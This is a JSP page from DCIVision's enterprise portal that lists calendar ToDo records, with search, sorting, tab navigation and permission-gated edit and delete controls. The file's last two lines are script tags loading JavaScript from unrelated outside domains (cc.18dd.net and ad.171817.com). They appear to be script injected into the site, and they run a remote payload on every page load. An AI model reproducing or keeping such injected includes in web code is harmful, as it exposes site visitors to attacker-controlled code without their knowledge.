<%
/*
 * @(#)IncludeListToDo.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  IncludeListToDo.jsp

  This is a IncludeListToDo page.  It shows the active ToDo' record in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      07/12/2003
    @version            $Revision: 1.32.4.7 $
*/

%>
<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.calendar.web.*"%>
<%@ page import="com.dcivision.calendar.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listCalendarRecordForm" scope="request" class="com.dcivision.calendar.web.ListCalendarRecordForm"/>
<%

/****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
String LIST_NAME="calendarRecord_toDoList";

String[][]  LABEL_MAP = {   {"ID", "ID"},
                            {"calendar.columnheader.title", GlobalConstant.NOT_AVAILABLE},
                            {"calendar.columnheader.priority", "priority"},
                            {"calendar.columnheader.finished", GlobalConstant.NOT_AVAILABLE},
                            {"calendar.columnheader.due_date", "datetime"}

                          };

String[][] SEARCH_MAP ={{"calendar.columnheader.title", "title"},
      {"calendar.columnheader.priority", "priority"},
      {"calendar.columnheader.finished", "status"}
                      };
/*
 *  Update Code Start
 *  Author              Jim.Zhou
 *  Date                    2006/05/29
 *  Bug                     #3643
 */
String[][] CALENDARTYPE_MAP ={{"common.list.record_from",""},
                  {"common.priority.label_1", "1"},
                  {"common.priority.label_2", "2"},
                  {"common.priority.label_3", "3"}
                 };
String[][] FINISH_MAP ={{"common.list.record_from",""},
                  {"common.label.yes", "Y"},
                  {"common.label.no", "N"}
                 };
/*
 *  Update Code End
 */
int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  //add by tony
  GregorianCalendar gCal = new GregorianCalendar() ;
  int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
  int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
  int currentYear = gCal.get(GregorianCalendar.YEAR) ;
  int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
  int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
  int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;

  int selectedDay = currentDay;
  int selectedMonth = currentMonth;
  int selectedYear = currentYear;
  if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
    Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
    selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
    selectedMonth = selectedDateInSession.get(Calendar.MONTH)+1;
    selectedYear = selectedDateInSession.get(Calendar.YEAR);
  }
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);



%>
<script language="javascript">
function OpSearch(frm, sortValue, sortOrder) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

 frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.opMode.value ="";
  frm.navMode.value ="<%=CalendarRecord.NAV_MODE_LIST_TODO%>";
  frm.submit();
  return false;
}

function OpReset(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  frm.basicSearchField.value = 'title';
  /*
   *    Update Code Start
   *    Author              Jim.Zhou
   *    Date                    2006/05/29
   *    Bug                     #3643
   */
  frm.basicSearchKeyword[1].value = '';
  frm.basicSearchKeyword[2].value = '';
  frm.basicSearchKeyword[0].value = '';
  frm.basicSearchType.value='LIKE';
  /*
   *    Update Code End
   */
  frm.curStartRowNo.value = 1;
  frm.navMode.value = "<%=CalendarRecord.NAV_MODE_LIST_TODO%>";
  frm.submit();
  return false;
} // end of the 'OpListReset()' function

function OpToDoDelete(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  var hasChecked = false;

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }

  if (!confirm("<bean:message key='common.message.confirm_delete_records'/>")) {
    return(false);
  }

  frm.opMode.value = OP_MODE_LIST_DELETE;
  frm.navMode.value = "<%=CalendarRecord.NAV_MODE_LIST_TODO%>";
  frm.submit();
  return(false);
} // end of the 'OpDelete()' function
function changeSearchType(obj){
  var frm = document.listCalendarRecordForm;
  if(obj.value=="priority"){
    frm.basicSearchKeyword[0].style.display="none";
    frm.basicSearchKeyword[1].style.display="";
    frm.basicSearchKeyword[2].style.display="none";
    frm.basicSearchKeyword[0].disabled=true;
    frm.basicSearchKeyword[1].disabled=false;
    frm.basicSearchKeyword[2].disabled=true;
    frm.basicSearchKeyword[0].value="";
    frm.basicSearchKeyword[2].value="";
  } else if(obj.value=="status"){
    frm.basicSearchKeyword[0].style.display="none";
    frm.basicSearchKeyword[1].style.display="none";
    frm.basicSearchKeyword[2].style.display="";
    frm.basicSearchKeyword[0].disabled=true;
    frm.basicSearchKeyword[1].disabled=true;
    frm.basicSearchKeyword[2].disabled=false;
    frm.basicSearchKeyword[0].value="";
    frm.basicSearchKeyword[1].value="";
  } else {
    frm.basicSearchKeyword[0].style.display="";
    frm.basicSearchKeyword[1].style.display="none";
    frm.basicSearchKeyword[2].style.display="none";
    frm.basicSearchKeyword[0].disabled=false;
    frm.basicSearchKeyword[1].disabled=true;
    frm.basicSearchKeyword[2].disabled=true;
    frm.basicSearchKeyword[1].value="";
    frm.basicSearchKeyword[2].value="";
  }
}
</script>
<!-- Form Section Begin -->
<html:form type="listCalendarRecordForm" action="/calendar/ListCalendar" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<!-- Page Title Section Begin -->
<!--font class="pageTitle"><layout:pageTitle/></font-->
<!-- Page Title Section End -->

<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
</td></tr></table>
<!-- System And Error Messages End -->
<!-- Tab Folder begin -->
<table width="100%" border="0" cellspacing="0" cellpadding="0" >
  <tr >
    <td >
      <a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>" ><html:img src='TabDailyOff.gif'/></a><a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>" ><html:img src='TabWeeklyOff.gif'/></a><a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>" ><html:img src='TabMonthlyOff.gif'/></a><html:img src='TabToDoOn.gif'/><a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>" ><html:img src='TabEventOff.gif'/></a></td>
    <td align='right'>
      <html:standardButton label="common.label.sharingdefault" link="MaintCalendarShare.do?navMode=E&oldNavMode=LT"/>
    </td>
  </tr>
  <tr align="left" valign="top" class='greyD'>
    <td align="left" valign="top" colspan='2'><html:img src='LayoutSpacer.gif'   width='1' height='5'/></td>
  </tr>
</table>
<!-- Tab Folder end -->
<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>" onkeypress="if (window.event.keyCode==13) OpSearch(document.listCalendarRecordForm, '<bean:write name='listCalendarRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='listCalendarRecordForm' property='sortOrder' replace=''/>')">
  <tr>
    <td width="80">
        <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
  <td>
      <html:select property="basicSearchField" onchange="changeSearchType(this)">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
            <html:options listName='criteriaList'/>
            </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <html:select property="basicSearchKeyword" disabled="true" style="display:none">
      <html:options stringArray='<%=CALENDARTYPE_MAP%>'/>
      </html:select>
      <html:select property="basicSearchKeyword" disabled="true" style="display:none">
      <html:options stringArray='<%=FINISH_MAP%>'/>
      </html:select>
      <html:standardButton label="common.label.go" onClick="return(OpSearch(document.listCalendarRecordForm, '${listCalendarRecordForm.sortAttribute}', '${listCalendarRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.reset" onClick="return(OpReset(document.listCalendarRecordForm))"/>
  </td>
  </tr>
</table>
<!-- Search Panel End -->
<br>
<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
      <html:permissionButton label="common.label.new" right="I" link='<%="MaintCalendar.do?eventType=" + CalendarRecord.EVENT_TYPE_CALENDAR_TODO + "&listName=" + LIST_NAME + "&oldNavMode=" + CalendarRecord.NAV_MODE_LIST_TODO %>'/>
    </td>
    <td align="right">&nbsp;

    </td>
  </tr>
</table>
<!-- Table Heading End -->
<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
        <!-- Table Column Header Begin -->
  <tr>
<layout:columnHeader form="listCalendarRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listCalendarRecordForm.getSortAttribute()%>" sortOrder="<%=listCalendarRecordForm.getSortOrder()%>" copyColumn="false" navMode="<%=CalendarRecord.NAV_MODE_LIST_TODO%>"/>
        </tr>
        <!-- Table Column Header End -->
        <!-- Record Looping Begin -->
       <%ArrayList tmpResult=(ArrayList)request.getAttribute(LIST_NAME);
         int    tmpSize=tmpResult.size(); %>
        <logic:iterate id='toDoRecord'   name='<%=LIST_NAME%>' scope='request' indexId="listLoopCnt">

        <tr onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)toDoRecord).getID()%>);">
          <td valign="top" align="center" height="30">
            <%if (((AbstractBaseObject)toDoRecord).getID().intValue()>0) {%>
            <logic:permission right='D'>
            <input type="checkbox" name="basicSelectedID" value="<bean:write name='toDoRecord' property='ID'/>|<bean:write name='toDoRecord' property='eventType'/>"  <%if (tmpSize==1) { %> onclick="return(false);" <%}%>>
            <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
            </logic:permission>
            <%} else {%>
            <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
            <%}%>
          </td>
          <%CalendarRecord calendarRecord = (CalendarRecord)toDoRecord;%>
          <td valign="top" align="center" height="30">
            <%if (CalendarRecord.OBJECT_TYPE_WORKFLOW.equals(calendarRecord.getObjectType())) {%>
            <html:img src='IconEditDisable.gif'  align='absmiddle'/>
            <%}else{%>
            <logic:permission right='E'>
            <a href="MaintCalendar.do?navMode=E&ID=<bean:write name='toDoRecord' property='ID'/>&eventType=<bean:write name='toDoRecord' property='eventType'/>&listName=<%=LIST_NAME%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_TODO%>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
            <html:img src='IconEditDisable.gif'  align='absmiddle'/>
            </logic:permission>
            <%}%>
          </td>
          <%
            if (CalendarRecord.OBJECT_TYPE_WORKFLOW.equals(calendarRecord.getObjectType())) {
              WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, conn);
              WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);
              WorkflowProgress wfProgress = (WorkflowProgress)progressDAO.getObjectByID(calendarRecord.getObjectID());
              WorkflowStep workflowStep = (WorkflowStep)stepDAO.getObjectByID(wfProgress.getWorkflowStepID());
          %>
            <td valign="top" height="25" width="300">
            <%if (GlobalConstant.FALSE.equals(calendarRecord.getStatus()) && (WorkflowProgress.STATUS_PENDING.equals(wfProgress.getStatus()) || WorkflowProgress.STATUS_IN_PROGRESS.equals(wfProgress.getStatus()))) {%>
            <a href='' onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowTask.do?navMode=E&SHOW_HEADER_FOOTER=N&trackID=<%=wfProgress.getTrackID().toString()%>&ID=<%=wfProgress.getID().toString()%>&workflowRecordID=<%=workflowStep.getWorkflowRecordID().toString()%>','DCIVisionMaintWorkflowTask',850, 600, 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no') ">
            <%} else {%>
            <a href='' onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgress.do?navMode=V&trackID=<%=wfProgress.getTrackID().toString()%>&workflowStepID=<%=workflowStep.getID().toString()%>','DCIVisionProgressView',630, 300, 'scrollbars=yes')">
            <%}%>
            <font class="calendar_own_event"> <bean:write name="toDoRecord" property="title"/></font></a></td>
          <%} else {%>
            <td valign="top" height="25" width="300"><a href="MaintCalendar.do?navMode=V&ID=<bean:write name='toDoRecord' property='ID'/>&eventType=<bean:write name='toDoRecord' property='eventType'/>&listName=<%=LIST_NAME%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_TODO%>">
            <font class="calendar_own_event"> <bean:write name="toDoRecord" property="title"/></font></a></td>
          <%}%>
          <td valign="top" align="center" height="30">
            <%if(GlobalConstant.PRIORITY_HIGH.equals(((CalendarRecord)toDoRecord).getPriority())){%>
            <html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/>
            <%}%>
            <%if(GlobalConstant.PRIORITY_MEDIUM.equals(((CalendarRecord)toDoRecord).getPriority())){%>
            <html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/>
            <%}%>
            <%if(GlobalConstant.PRIORITY_LOW.equals(((CalendarRecord)toDoRecord).getPriority())){%>
            <html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/>
            <%}%>
          </td>
          <td valign="top" align="center" height="30">
            <%if(GlobalConstant.TRUE.equals(((CalendarRecord)toDoRecord).getStatus())){%>
            <html:img src='IconTick.gif'  align='absmiddle'/>
            <%}%>
            <%if(GlobalConstant.FALSE.equals(((CalendarRecord)toDoRecord).getStatus())){%>
            <html:img src='IconCross.gif'  align='absmiddle'/>
            <%}%>
          </td>
          <td valign="top" height="30"><bean:write name="toDoRecord" property="datetime" format='<%=TextUtility.getDateFormat().toPattern()%>'/></td>
        </tr>
        </logic:iterate>
        <!-- Record Looping End -->
        <!-- Pager Information Begin -->
        <layout:pager form="listCalendarRecordForm" name='<%=LIST_NAME%>'>
        <tr class="listContent">
          <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>" height="25"> <table width="100%" cellpadding="0" cellspacing="0" border="0">
              <tr>
                <td width="200">
                  <html:permissionButton label="common.label.delete" right="D" onClick="return(OpToDoDelete(document.listCalendarRecordForm))"/>
                </td>
                <td align="center"> <layout:pagerInfo/> </td>
                <td width="200" align="right"> <nobr><layout:pagerIndex navMode="<%=CalendarRecord.NAV_MODE_LIST_TODO%>"/></nobr>
                </td>
              </tr>
            </table></td>
        </tr>
        </layout:pager>
        <!-- Pager Information End -->
      </table>
</table>
</html:form>
<!-- Form Section End -->
<script language="javascript">
changeSearchType(document.listCalendarRecordForm.basicSearchField);
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>